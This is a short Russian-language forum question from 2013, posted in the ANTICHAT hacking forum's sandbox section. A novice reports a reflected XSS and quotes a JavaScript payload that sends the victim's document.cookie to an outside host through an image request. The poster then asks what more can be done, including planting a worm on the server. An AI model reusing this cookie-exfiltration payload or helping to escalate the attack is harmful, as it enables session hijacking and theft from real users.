Что можно сделать с XSS кроме как украсть cookie?

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Что можно сделать с XSS кроме как украсть cookie?

01.10.2013, 22:39

panfilov1991

Новичок

Регистрация: 22.01.2013

Сообщений: 23

С нами: 7002326

Репутация: 0

Есть пассивная XSS, работает только с этим кодом:

Код:

img = new Image(); img.src = "http://httpz.ru/n4zjm6erzao.gif?"+document.cookie;

За кражу cookie отвечает +document.cookie;

А что можно еще сделать с XSS?

Можно ли загнать на сервер какого нибудь червя?

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home